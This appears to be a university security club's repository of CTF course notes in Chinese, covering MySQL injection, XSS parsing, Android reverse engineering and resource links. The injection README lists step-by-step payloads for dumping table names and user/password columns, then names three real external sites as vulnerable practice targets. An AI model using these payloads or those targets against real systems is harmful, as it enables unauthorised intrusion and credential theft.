├── 2014-2015 ├── 10-MysqlInjection │ └── README.md ├── 11-Xss │ └── README.md └── 4-常见攻击原理与防御方法 │ └── 常见攻击原理与防御方法.pdf ├── 2017-2018 ├── 10-Know it the Hack it │ └── README.md ├── 11-Android&Reverse │ └── Android&Reverse.md ├── 11-Misc │ └── misc.pdf ├── 11-Web │ └── Web.pdf ├── 3-Pwn │ └── challenges │ │ ├── ret2libc2 │ │ └── bin │ │ │ ├── flag │ │ │ └── pwn │ │ ├── ret2shellcode │ │ └── bin │ │ │ ├── flag │ │ │ └── pwn │ │ └── ret2text │ │ └── bin │ │ ├── flag │ │ └── pwn └── 9-HelloSUS │ └── README.pdf ├── 2018-2019 ├── 11-Web1 │ └── web安全.pdf ├── 12-Reverse │ └── Reverse.pdf └── 9-HelloSUS │ └── Hello SUS.pdf ├── README.md └── 资源索引 ├── Basic.md ├── CTF ├── AWD │ └── README.md └── Jeopardy │ ├── Android.md │ ├── Crypto.md │ ├── Misc.md │ ├── Pwn.md │ ├── Re.md │ └── Web.md ├── README.md └── files └── CTF └── Jeopardy ├── Re ├── crackme.rar └── recon2015-14-christopher-domas-The-movfuscator.pdf └── Web └── 腾讯XSS实例教程.pdf /2014-2015/10-MysqlInjection/README.md: -------------------------------------------------------------------------------- 1 | ## 0x00 Mysql UNION Injection 2 | 判断注入点 (数字型): 3 | 4 | - www.example.com/xxx.php?id=1 5 | - www.example.com/xxx.php?id=1' -> 不正常,则可能存在注入 6 | 7 | 确定注入点: 8 | 9 | - www.example.com/xxx.php?id=1 and 1=1 -> 页面正常 10 | - www.example.com/xxx.php?id=1 and 1=2 -> 页面异常 11 | - **到这里可以确定存在注入点** 12 | 13 | 确定列数: 14 | 15 | - www.example.com/xxx.php?id=1 order by 1 -> 正常 16 | - www.example.com/xxx.php?id=1 order by 2 -> 正常 17 | - …… 18 | - …… 19 | - www.example.com/xxx.php?id=1 order by 6 -> 错误 20 | - **则查询的列数为5** 21 | 22 | 确认UNION查询是否可用: 23 | 24 | - www.example.com/xxx.php?id=1 and 1=2 union select 1,2,3,4,5,6 25 | - **如果页面有回显1,2,3,4,5,6中的任意一个,则可以用union查询,下面假设回显数字为1** 26 | 27 | 确认mysql版本: 28 | 29 | - www.example.com/xxx.php?id=1 and 1=2 union select version(),2,3,4,5,6 30 | - **如果mysql的版本为5.0以上则可以使用information_schema数据库来注入,如果版本低于5.0,就只能暴力猜解** 31 | 32 | mysql5.0以上版本注入方法: 33 | 34 | 1. 获取当前数据库中的表 35 | - www.example.com/xxx.php?id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database() 36 | 2. 获取某张表中的列 37 | - www.example.com/xxx.php?id=1 and 1=2 union select group_concat(column_name) from information_schema.columns where table_name=0x75736572 38 | - 表名的十六进制,这里是user 39 | 3. 获取数据 40 | - www.site.com/xxx.php?id=1 and 1=2 union select 1,concat(user,0x3a,pass,0x3a,id),3,4,5,6 from user 41 | - **这里及下面的 `0x3a` 为分隔符 42 | 字符型注入: 43 | - www.example.com/xxx.php?city=nanjing' and '1'='1 -> 正常 44 | - www.example.com/xxx.php?city=nanjing' and '1'='2 -> 异常 45 | - **则说明存在注入点,以下步骤同数字型注入** 46 | 47 | ## 0x01 mysql error-based injection 48 | 49 | **原理:**此种注入使用union查询没有回显数据,在有报错的情况下利用报错信息来获取数据 50 | 51 | **利用思路:**当 group by 的字段不一样而查询结果已有一个,如查询 count(), sum() 时会报错 "Duplicate entry xxx from 'group_key'" 52 | 53 | **利用例句:** 54 | 55 | - select count(*),CONCAT(version(),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a 56 | - 或 57 | - select sum(version),CONCAT(version(),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a 58 | - 报错信息:[Err] 1062 - Duplicate entry '5.5.28:2' for key 'group_key' 59 | - 获取当前数据表名的语句: 60 | - `www.site.com/xxx.php?id=1 and (select 1 from (select sum(version),CONCAT((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a)b)` 61 | 62 | ## 0x02 mysql blind injection 63 | 64 | **原理:** 此种注入既不报错,union查询也不回显,所以只能通过页面的不同返回情况来注入。 65 | **利用思路:** 充分利用数据库本身提供的函数,如 :ascii() substr() if() 66 | 67 | 例如,获取当前数据库名第一位的一种payload 68 | 69 | ```mysql 70 | select ascii(substr(database(),1,1)) from information_schema.tables limit 0,1 71 | 72 | ``` 73 | 继续利用 74 | ```mysql 75 | www.site.com/xxx.php?id=1 and (select if((payload)>99,1,0)) -> 返回正确 76 | www.site.com/xxx.php?id=1 and (select if((payload)>100,1,0)) -> 返回正确 77 | www.site.com/xxx.php?id=1 and (select if((payload)>101,1,0)) -> 返回错误 78 | ``` 79 | 80 | 则数据库第一位为 e(对应的ascii为101) 照此可以拿到所有想要的信息 81 | 82 | ## 0x03 几个有漏洞的站点 83 | - http://www.burkemarine.com.au/category.php?cat_id=1 84 | - http://www.cideko.com/pro_con.php?id=3 85 | - http://www.vinayras.com/spider/diff.php?idd=518 -------------------------------------------------------------------------------- /2014-2015/11-Xss/README.md: -------------------------------------------------------------------------------- 1 | ## 0x01 JS能用来做什么 2 | 3 | * 请求资源 4 | * 提交表单 5 | * 修改html 6 | * 响应事件 7 | --- 8 | 9 | ## 0x02 一个含有js的html文件是怎样变成一个动态网页的 10 | 11 | **浏览器解析方式** 12 | 13 | 在HTML中有五类元素 14 | * 语言的解析一般分为`词法分析(lexical analysis)`和`语法分析(Syntax analysis)`两个阶段,WebKit中的 html解析也不例外,本文主要讨论词法分析。 15 | * 词法分析的任务是对输入字节流进行逐字扫描,根据构词规则识别单词和符号,分词。 16 | * 在WebKit中,有两个类,同词法分析密切相关,它是`HTMLToken`和`HTMLTokenizer`类,可以简单将HTMLToken类理 解 为标记,HTMLTokenizer类理解为词法解析器。HTML词法解析的任务,就是将输入的字节流解析成一个个的`标记(HTMLToken)`,然后由 语法解析器进行下一步的分析。 17 | * 在XML/HTML的文档解析中,token这个词经常用到,我将其理解为一个`有完整语义的单元(也就是分出来的 “词”)`,一个元素通常对应于3 个 token,一个是`元素的起始标签`,一个是`元素的结束标签`,一个是元素的`内容`,这点同DOM树是不一样的,在DOM树上,起始标签和结束标签对应于一个元素节点,而元素内容对应另一个节点。 18 | * 除了`起始标签(StartTag)`、`结束标签(EndTag)`和`元素内容(Character)`,HTML标签还有`DOCTYPE(文档类 型)`,`Comment(注释)`,`Uninitialized(默认类型)`和`EndOfFile(文档结束)`等类型,参见HTMLToken.h中的 Type枚举 19 | 20 | **在HTML中有五类元素:** 21 | 22 | 1. **空元素(Void elements)**,如``,`
`,``等等 23 | 2. **原始文本元素(Raw text elements)**,有`"> 79 | 80 | ``` 81 | * 坑点之自带HtmlEncode(转义)功能的标签: 82 | ```html 83 | 84 | 85 | 86 | 87 | 88 | 89 | </plaintext> 90 | ``` 91 | 当我们的XSS payload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。 92 | 93 | --- 94 | 95 | ## 0x06 XSS练习网站、资料 96 | 97 | * [xss-quiz](http://xss-quiz.int21h.jp/) 98 | * [alert(1) to win](https://alf.nu/alert1) 99 | * [prompt(1) to win](http://prompt.ml/0) 100 | * [html5 Security Cheatsheet](http://html5sec.org/) 101 | * [XSS Cheatsheet](http://ssv.sebug.net/XSS_Cheat_Sheet) 102 | * [OWASP XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) 103 | 104 | -------------------------------------------------------------------------------- /2014-2015/4-常见攻击原理与防御方法/常见攻击原理与防御方法.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2014-2015/4-常见攻击原理与防御方法/常见攻击原理与防御方法.pdf -------------------------------------------------------------------------------- /2017-2018/10-Know it the Hack it/README.md: -------------------------------------------------------------------------------- 1 | # Know it then Hack it 2 | 3 | Move to [资源索引](/资源索引/) -------------------------------------------------------------------------------- /2017-2018/11-Android&Reverse/Android&Reverse.md: -------------------------------------------------------------------------------- 1 | # Android && Reverse 2 | 3 | ## Reverse 4 | 5 | ### Assembly 6 | - 指令集 7 | - x86 / x64 8 | - ARM / ARM64 9 | - 一些小众架构 如:MIPS 10 | 11 | - CPU运行方式 12 | 13 | - 取出下一条指令、执行当前指令、输出结果 14 | 15 | - 单位 16 | - ·BIT(位):电脑数据量的最小单元,可以是0或者1。 17 | - ·BYTE(字节):一个字节包含8个位,所以一个字节最大值是255(0-255)。为了方便阅读,我们通常使用16进制来表示。 18 | - ·WORD(字):一个字由两个字节组成,共有16位。一个字的最大值是0xFFFF。 19 | - ·DWORD(双字DOUBLE WORD):一个双字包含两个字,共有32位。最大值为0xFFFFFFFF。 20 | - .QWORD(四字 QUAD-WORD):一个四字包含四个字,共64位。 21 | - ![Assembly.jpg](https://s1.ax2x.com/2017/11/21/FxZSl.jpg) 22 | 23 | - 常用汇编指令 24 | 25 | - 运算指令:加 `ADD` 减 `SUB` 乘 `MUL` 除 `DIV` 异或 `XOR` 与 `AND` 或 `OR` 非 `NOT` 26 | - 数据转移指令:读取/写入内存 写入寄存器 `MOV` 27 | - 跳转指令:无条件跳转 `JMP` /条件跳转指令 `JZ` 28 | - 栈操作指令:出栈 `POP` 入栈 `PUSH` 29 | - 调用指令:`CALL` 30 | - 空指令:`NOP` 31 | 32 | 33 | - x86 / x64 34 | - 寄存器 35 | - 寄存器是CPU中的存储结构,用于暂存指令、数据、地址 36 | 37 | - ![x86寄存器](https://s1.ax2x.com/2017/11/21/Fx40y.png) 38 | 39 | - x64架构在x86的基础上又增加了R8-R15这8个寄存器 40 | ``` 41 | 高地址 ---------------------------- 低地址 42 | 43 | [==== ==== ==== ==== ==== ==== ==== ====] RAX 44 | [==== ==== ==== ====] EAX 45 | [==== ====] AX 46 | [====] AH 47 | [====] AL 48 | ``` 49 | 50 | - 标志寄存器 51 | - Z-Flag:零标志,ZF是我们在破解中用的最多的寄存器,因为 `CMP` 指令会修改ZF的值 52 | - O-Flag:溢出标志,当上一步操作改变了某一寄存器的最高有效位时,OF会被设置为1。 53 | - C-Flag:进位标志,假设某一32位寄存器值为0xFFFFFFFF,再加1就会产生溢出,寄存器的值会变为0x00000000。 54 | - [wiki](https://zh.wikibooks.org/wiki/X86_%E6%B1%87%E7%BC%96) 55 | 56 | - ARM 57 | - 寄存器 58 | - R0-R15,其中R13与ESP相当,R11与EBP相当 59 | - R14是LR(link register),用于存储返回地址 60 | - R15是PC(program counter),其值为当前执行的指令地址+8 61 | - [ARM汇编详解](https://azeria-labs.com) 62 | 63 | - ![ARM](https://azeria-labs.com/downloads/cheatsheetv1-1920x1080.png) 64 | 65 | - 堆&栈 66 | - push 入栈 pop 出栈,先入后出 67 | - TODO: @XuCcc 68 | 69 | 70 | ### Tools 71 | - [010Editor](https://www.52pojie.cn/thread-399761-1-1.html) 72 | ![010Editor](https://s1.ax2x.com/2017/11/21/FxyJB.jpg) 73 | 74 | 75 | - [CFF Explorer](https://down.52pojie.cn/Tools/PEtools/CFF_Explorer.zip) 76 | ![CFF Explorer](https://s1.ax2x.com/2017/11/21/FxvTJ.jpg) 77 | 78 | 79 | 80 | - IDA Pro: Interactive DisAssembler 81 | ![IDA Pro](https://s1.ax2x.com/2017/11/21/FxJaX.jpg) 82 | 83 | 84 | 85 | - 调试器:gdb、WinDBG、OllyDBG、x64dbg、IDA的内置调试器 86 | 87 | 88 | 89 | ## Android 90 | ### Android系统背景 91 | - Android 操作系统结构 92 | ![Android](https://s1.ax2x.com/2017/11/23/H9T7z.png) 93 | 94 | - 碎片化 95 | ![Android Dashboard](https://s1.ax2x.com/2017/11/23/H9zyh.jpg) 96 | 97 | ![IOS](https://s1.ax2x.com/2017/11/23/H9V8H.jpg) 98 | 99 | - 签名 100 | 101 | - root 102 | - 直接使用Recovery刷入su和daemon-su 103 | - 使用BootLoader替换原Recovery之后,再刷入su和daemon-su 104 | - 使用内核漏洞Exploit获取root权限 105 | - Andoird Application 106 | - .java -> .class -> .dex -> .apk (`smali` / `baksmali` `dex2jar`) 107 | - JNI调用Native代码(`IDA`) 108 | 109 | ### Andoird 逆向 110 | - 安卓逆向工具: 111 | 反汇编,重汇编: `apktool` , `shakaApktool`, `Apktoolbox` 等 112 | 静态分析: `jeb`,`apk改之理(ApkIDE)` , `Android Killer` 等 113 | 动态分析:`IDA`,`Android Studio`,`Eclipse` 等 114 | Android sdk自带:`adb` , `ddms` 115 | 116 | - smali 117 | - Dalvik虚拟机中的汇编语言 118 | - [语法](http://lib.csdn.net/article/android/7043) 119 | 120 | - 代码保护与逆向技术的对抗 121 | 1. 编译与反编译 122 | - Java层 123 | - java -> jvm字节码 -> dalvik字节码 124 | - .dex -> smali(`smali`) 125 | - .dex -> smali, java(`Jeb`) 126 | - .dex -> java字节码(`dex2jar`) 127 | - Native层 128 | - C/C++ -> .so 129 | - .so -> 汇编/伪C(`IDA`) 130 | 2. 加壳与脱壳 131 | - 基于加固平台/开发者自行加固 132 | - 脱壳 133 | - Hook技术:基于Xposed的ZJDroid 134 | - Dump内存重建dex文件 135 | - DexHunter/AppSpear:基于修改Android系统runtime的通用脱壳机 136 | 137 | ### 配置Android开发环境 138 | - 安装jdk与jdk环境变量配置([参考资料](http://jingyan.baidu.com/article/6dad5075d1dc40a123e36ea3.html)) 139 | 1. 配置jdk环境变量: 140 | ``` 141 | 计算机 -> 属性 -> 更改设置 -> (系统属性)高级 -> 环境变量 -> 系统变量 142 | ``` 143 | 2. 新建: 144 | ``` 145 | JAVA_HOME -> JDK安装路径 146 | CLASSPATH -> ...;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar 147 | ``` 148 | 3. 编辑: 149 | ``` 150 | PATH -> %JAVA_HOME%/bin;%JAVA_HOME%/jre/bin 151 | ``` 152 | 153 | - 安装Android sdk与Android sdk环境变量配置 154 | 155 | **配置Andriod环境变量前提是要先安装好JAVA环境** 156 | 157 | 1. 下载 [Android SDK](http://developer.android.com/sdk/index.html),点击安装,直接默认路径即 158 | 159 | 2. 修改默认路径安装后,安装完成,开始配置环境变量。 160 | 161 | 3. 打开计算机属性——高级系统设置——环境变量 162 | 163 | 4. 新建一个环境变量,变量名:ANDROID_HOME,变量值:D:\adt-bundle-windows-x86_64-20140702\sdk(以你安装目录为准,确认里面有tools和add-ons等多个文件夹),点击确认。 164 | 165 | 5. 在用户变量PATH后面加上变量值;%ANDROID_HOME%\platform-tools;点击确认即可。在系统变量path中添加 166 | D:\adt-bundle-windows-x86_64-20140702\sdk\tools 167 | 168 | 6. Android SDK配置完成,接下来验证配置是否成功。 169 | 170 | 7. 点击运行——输入cmd——回车——输入adb——回车,如果没有提示未找到命令即表示配置成功,在输入Android,启动Android SDK Manager。 171 | 172 | - 虚拟机安装 173 | 安卓虚拟机目前种类繁多,推荐使用 `Android Studio` 作为开发环境,自带虚拟机,当然,有条件上实体机也是不错的选择,毕竟虚拟机有时会发生奇怪的问题。 174 | 175 | - 前面提到的一些工具 [百度网盘](http://pan.baidu.com/s/1nuYwLJVx) 密码:ar60 176 | 177 | ## How To Reverse 178 | - 去除软件保护 179 | 1. 查壳 180 | - PEiD、ExeInfoPE等等 181 | 2. 脱壳 182 | - 搜索对应的脱壳机 183 | - ESP定律脱壳(仅适用于压缩壳) 184 | 3. 去除花指令 185 | - 使用OllyDBG脚本或IDC&IDA Python脚本 186 | - 手动patch花指令 187 | 4. 去除混淆 188 | - 定位验证代码 189 | 1. 正面硬肛 190 | - 从程序入口(main函数)开始,逐函数分析 191 | - 慢慢深入,达到验证代码位置 192 | - 静态分析 193 | 194 | 2. 从输入输出处寻找 195 | - 查找调用输入输出函数的地方,如:scanf、get、cin等等 196 | - 进而回溯处理(验证)过程 197 | 3. 查询关键字符串 198 | - 搜索关键字符串直接定位验证函数 199 | - 比赛中常见算法 200 | 1. 没算法 201 | 2. 简单的异或 202 | 3. 雪崩式的异或(前一步的结果影响下一步的结果) 203 | 4. 加密算法(RSA、AES、RC4) 204 | 5. 摘要算法(SHA1、MD5) 205 | 6. 编码(Base64) 206 | 7. 解方程 207 | 8. 脑洞算法(走迷宫……) 208 | - 小技巧 209 | 1. 快速定位关键代码 210 | - 从 Function List 前面开始翻 211 | - 从 main 函数周围翻 212 | - 一般来说,用户代码部分不会有一些奇怪的算法,如果看到了奇怪的算法,就有可能是进入了系统函数 213 | 214 | 2. MFC 逆向 215 | - 使用 xspy 工具查看消息处理函数 216 | - 之后就与正常逆向一致了 217 | - 动态调试 218 | - IDA Pro 219 | 1. Windows 220 | 一般来说,使用 `Local Windows Debugger`,直接在本机调试,如果需要在虚拟机中调试可以参照Linux的设置方法 221 | 2. Linux 222 | - 这里以VMWare为例,配置网络为NAT模式, 关闭虚拟机防火墙。调试器选择 `Remote Linux Debugger` ,点击Debugger->Process Options,填入虚拟机的ip和端口。 223 | - 将IDA目录下的 `dbgsrv` 文件夹中对应的调试服务端放入虚拟机,运行,然后就可以开始调试了。 224 | - **注意待调试程序是32位和64位,使用对应调试服务端** 225 | 3. Android 226 | - 虚拟机调试 227 | - 首先按照前文说明搭建好 `Android SDK` 环境,并新建一台虚拟机 228 | - 通过 `adb push` 命令将 `dbgsrv` 下的调试服务端推送至虚拟机内 229 | - 利用 `adb shell` 进入对应目录,修改权限并启动 230 | ``` 231 | chown 0.0 ./android_server 232 | chmod 755 ./android_server 233 | ./android_server 234 | ``` 235 | 236 | - 新开一个命令行,执行端口转发 237 | ``` 238 | adb forward tcp:23946 tcp:23946 239 | ``` 240 | 241 | - 调试器选择 `Remote ARMLiunx/Android Debugger`,进入Process Options,ip填127.0.0.1,端口为23946 242 | 243 | - 真机调试 244 | - 建议先root手机,否则会由于应用设置了 `debuggable=false` 而无法调试 245 | - 安装 Xposed 框架,在其他设置中勾选调试其他应用 246 | - 其余步骤同虚拟机 247 | 248 | - 调试过程 249 | 1. 解压apk文件,将其中的dex文件用IDA打开 250 | 2. 修改Debugger Option 251 | - 勾选 'Suspend on process entry point' 252 | - ![Step1](https://s1.ax2x.com/2017/11/21/Fg9WH.jpg) 253 | - 配置虚拟机ID和apk包名 254 | ``` 255 | 查看虚拟机ID 256 | adb devices 257 | ``` 258 | 259 | - ![Step2](https://s1.ax2x.com/2017/11/21/Fg3nh.jpg) 260 | 261 | - 现实与比赛的不同 262 | 1. 现实: 263 | - 代码量巨大 264 | - 大量使用其他库 265 | - 各种奇怪的编码&语言 266 | - 大量现代语言特性 267 | - 性能优化&加密壳 268 | - 一些冷门的编程语言 269 | 2. CTF比赛: 270 | - 代码量小 271 | - 结构简单 272 | - 现代语言特性少 273 | - 很少使用加密壳或优化 274 | - 语言比较常见 275 | 276 | ## THE END 277 | - **注意保护自己**,比赛一般不会遇到,但在分析现实中软件(特别是病毒和外挂)的时候一定要注意,开发者可能会留有暗桩(关机重启,甚至格盘) 278 | - 修改可执行文件后缀名,防止误运行 279 | - 绝对!不要!在真机运行不可信的软件!同时,也不要在真机进行动态调试,很容易跑飞。 280 | - 推荐打开360或与其同等强度的HIPS(Host-based Intrusion Prevention System)防御软件 281 | - Books 282 | - 《加密与解密》 283 | - 《IDA Pro权威指南》 284 | - 《Android软件安全与逆向分析》 285 | 286 | 部分内容参考 Tea Delivers@Misty & 腾讯玄武实验室@刘惠明 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | -------------------------------------------------------------------------------- /2017-2018/11-Misc/misc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/11-Misc/misc.pdf -------------------------------------------------------------------------------- /2017-2018/11-Web/Web.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/11-Web/Web.pdf -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2libc2/bin/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2libc2/bin/flag -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2libc2/bin/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2libc2/bin/pwn -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2shellcode/bin/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2shellcode/bin/flag -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2shellcode/bin/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2shellcode/bin/pwn -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2text/bin/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2text/bin/flag -------------------------------------------------------------------------------- /2017-2018/3-Pwn/challenges/ret2text/bin/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2text/bin/pwn -------------------------------------------------------------------------------- /2017-2018/9-HelloSUS/README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/9-HelloSUS/README.pdf -------------------------------------------------------------------------------- /2018-2019/11-Web1/web安全.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/11-Web1/web安全.pdf -------------------------------------------------------------------------------- /2018-2019/12-Reverse/Reverse.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/12-Reverse/Reverse.pdf -------------------------------------------------------------------------------- /2018-2019/9-HelloSUS/Hello SUS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/9-HelloSUS/Hello SUS.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Course 2 | 3 | 整理社团历次宣讲会的课件 4 | 5 | ## [资源索引](资源索引/) 6 | 7 | 不断更新 8 | 9 | ### 2014-2015 10 | 11 | - [MysqlInjection](2014-2015/10-MysqlInjection) from **ymlbright** 12 | - [Xss](2014-2015/11-Xss) from **ymlbright** 13 | - [常见攻击原理与防御方法](2014-2015/4-常见攻击原理与防御方法) 14 | 15 | ### 2015-2016 16 | 17 | TODO 18 | 19 | ### 2016-2017 20 | 21 | TODO 22 | 23 | ### 2017-2018 24 | 25 | - [HelloSUS](2017-2018/9-HelloSUS) from **Xu** 26 | - [Know it then Hack it](2017-2018/10-Know%20it%20the%20Hack%20it) from **SUSers** 27 | - [Misc](2017-2018/11-Misc) from **Xu** 28 | - [Web(从入门到入狱)](2017-2018/11-Web) from **imagemlt** 29 | - [Android && Reverse](2017-2018/11-Android&&Reverse) from **Raphael** 30 | - [Pwn](2017-2018/3-Pwn) from **Xu** 31 | 32 | ### 2018-2019 33 | 34 | - [Hello SUS](2018-2019/9-HelloSUS) from **Imagemlt** 35 | - [CTF Web服务器端安全](2018-2019/11-Web1) from **Imagemlt** 36 | - [CTF逆向工程](2018-2019/12-Reverse) from **Raphael** 37 | -------------------------------------------------------------------------------- /资源索引/Basic.md: -------------------------------------------------------------------------------- 1 | # Basics 2 | 3 | ## Books 4 | 5 | - C++ 6 | - C++ Prime 7 | - python 8 | - python核心编程 9 | - Java 10 | - Java程序设计语言 11 | - Java核心思想 12 | - 数据结构 13 | - 数据结构(C语言版)清华大学出版社 14 | 15 | ## Sites 16 | 17 | - [慕课网](http://www.immoc.com) 18 | - [CSDN](http://www.csdn.net) -------------------------------------------------------------------------------- /资源索引/CTF/AWD/README.md: -------------------------------------------------------------------------------- 1 | # AWD 2 | 3 | 4 | - [CTF线下攻防赛总结](http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/) 5 | - [CTF线下防御战](http://mp.weixin.qq.com/s/4vgWVVdimVwpTkDuu3Ex8g) 6 | - [AWD攻防解题技巧](http://mp.weixin.qq.com/s/XQUSk7wTs4GhPRosHhKYWg) 7 | - [AWD套路小结](http://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw%3D%3D&mid=2247484246&idx=1&sn=3744c967a8e9c982d17245755fbcd847&scene=45#wechat_redirect) -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Android.md: -------------------------------------------------------------------------------- 1 | # Android 2 | 3 | ## Books 4 | 5 | - 《Android软件安全与逆向分析》 6 | 7 | ## Tools 8 | 9 | - jadx 10 | - jd-gui 11 | - apktool 12 | -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Crypto.md: -------------------------------------------------------------------------------- 1 | # Crypto 2 | 3 | ## Sites 4 | 5 | - [可汗学院公开课](http://open.163.com/special/Khan/moderncryptography.html) 6 | - [深入浅出密码学——常用加密技术原理与应用](https://github.com/yuankeyang/python/blob/master/%E3%80%8A%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA%E5%AF%86%E7%A0%81%E5%AD%A6%E2%80%94%E2%80%94%E5%B8%B8%E7%94%A8%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86%E4%B8%8E%E5%BA%94%E7%94%A8%E3%80%8B.pdf) 7 | - [维基百科:密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6) -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Misc.md: -------------------------------------------------------------------------------- 1 | # Misc 2 | 3 | ## Books 4 | 5 | - 数据隐藏技术揭秘 6 | - Wireshark 网络分析就这么简单 7 | 8 | ## Articles 9 | 10 | ### Outline 11 | 12 | - [CTF Forensics Field Guide](https://michael-myers.github.io/blog/post/ctf-forensics-field-guide/) 13 | - [CTF取证类题目指南(译文)](http://mp.weixin.qq.com/s/fSZJ6IZqQKCjNAQ1hgUPOw) 14 | 15 | ### Encode 16 | 17 | 18 | ### Forensics 19 | 20 | - Outline 21 | - [forensicswiki](http://forensicswiki.org/wiki/Main_Page) 22 | - Memory 23 | - [CTF内存取证入坑指南](http://www.freebuf.com/column/152545.html) 24 | - [内存取证三项CTF赛题详解](http://www.freebuf.com/articles/rookie/145262.html) 25 | 26 | 27 | ### Stego 28 | 29 | - [CTF | 那些比较好玩的stego(正传)](https://zhuanlan.zhihu.com/p/23127122) -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Pwn.md: -------------------------------------------------------------------------------- 1 | # Pwn 2 | 3 | ## Books 4 | 5 | - [黑客之道](https://baike.baidu.com/item/%E9%BB%91%E5%AE%A2%E4%B9%8B%E9%81%93/12407734?fr=aladdin) 6 | - [程序员的自我修养](https://book.douban.com/subject/3652388/) 7 | - [漏洞战争](https://book.douban.com/subject/26830238/) 8 | 9 | ## Sites 10 | 11 | - [C语言函数调用栈(一)](http://www.cnblogs.com/clover-toeic/p/3755401.html) 12 | - [C语言函数调用栈(二)](http://www.cnblogs.com/clover-toeic/p/3756668.html) 13 | - [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/) 14 | 15 | ## Practices 16 | 17 | - [pwnable.kr](http://pwnable.kr/play.php) 18 | - [pwnalbe.tw](https://pwnable.tw/) 19 | - [exploit-exercises](https://exploit-exercises.com/) 20 | 21 | ## Tools 22 | 23 | - Desassembler 24 | - IDA 25 | - Debug 26 | - GDB 27 | - pwntools 28 | - peda 29 | - checksec 30 | - libcdb 31 | - Ropgadget -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Re.md: -------------------------------------------------------------------------------- 1 | # Re 2 | ## Books 3 | - 《加密与解密》 第三版 4 | - 《IDA Pro 权威指南》 第二版 5 | - 《逆向工程核心原理》 6 | 7 | ## Sites 8 | - [看雪安全论坛](https://bbs.pediy.com/) 9 | - [吾爱破解](https://www.52pojie.cn/) 10 | 11 | ## Practices 12 | - 160个Crackme [Click Me](/资源索引/files/CTF/Jeopardy/Re/crackme.rar) 13 | - [Reversing.Kr](http://reversing.kr/challenge.php) 14 | - [实验吧](http://www.shiyanbar.com/ctf/practice) 15 | - [XCTF-OJ](http://oj.xctf.org.cn/) 16 | - [CTFs](https://github.com/ctfs) 17 | 18 | ## Tools 19 | ### HexEditors 20 | - [010Editor](http://www.sweetscape.com/010editor/) 21 | - [HxD](https://mh-nexus.de/en/hxd/) 22 | - [WinHex](http://www.x-ways.net/winhex/) 23 | 24 | ### Disassembler & Decompiler 25 | - [IDA Pro 7.0](https://www.hex-rays.com/products/ida/index.shtml) 26 | - [Binary Ninja](https://binary.ninja/) 27 | - [Radare](http://www.radare.org/r/) 28 | - [objdump](http://linux.die.net/man/1/objdump) 29 | - [Retargetable Decompiler](https://retdec.com/) 30 | 31 | ### Debugger 32 | - [OllyDbg](http://www.ollydbg.de/version2.html) 33 | - [x64dbg](http://x64dbg.com/#start) 34 | - [WinDBG](https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx) 35 | - [gdb](https://www.gnu.org/software/gdb/) 36 | 37 | ### Binary Analysis 38 | - 